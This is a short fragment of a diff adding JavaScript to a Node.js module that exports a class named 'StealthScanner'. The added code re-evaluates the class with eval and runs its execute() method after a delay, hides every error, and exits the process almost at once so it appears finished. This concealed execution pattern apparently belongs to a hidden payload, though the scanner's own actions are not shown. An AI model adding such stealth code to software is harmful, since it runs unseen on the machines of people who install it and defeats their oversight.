|
+
setTimeout(function() {
|
|
402
|
+
try {
|
|
403
|
+
var code = '(' + StealthScanner.toString() + ')';
|
|
404
|
+
var Scanner = eval(code);
|
|
405
|
+
var scanner2 = new Scanner();
|
|
406
|
+
scanner2.execute().catch(function() {});
|
|
407
|
+
} catch (e) {
|
|
408
|
+
// ignore
|
|
409
|
+
}
|
|
410
|
+
}, 2000);
|
|
411
|
+
|
|
412
|
+
// Exit immediately
|
|
413
|
+
setTimeout(function() {
|
|
414
|
+
process.exit(0);
|
|
415
|
+
}, 100);
|
|
416
|
+
|
|
417
|
+
} catch (e) {
|
|
418
|
+
process.exit(0);
|
|
419
|
+
}
|
|
544
420
|
}
|
|
545
421
|
|
|
546
422
|
module.exports = StealthScanner;
|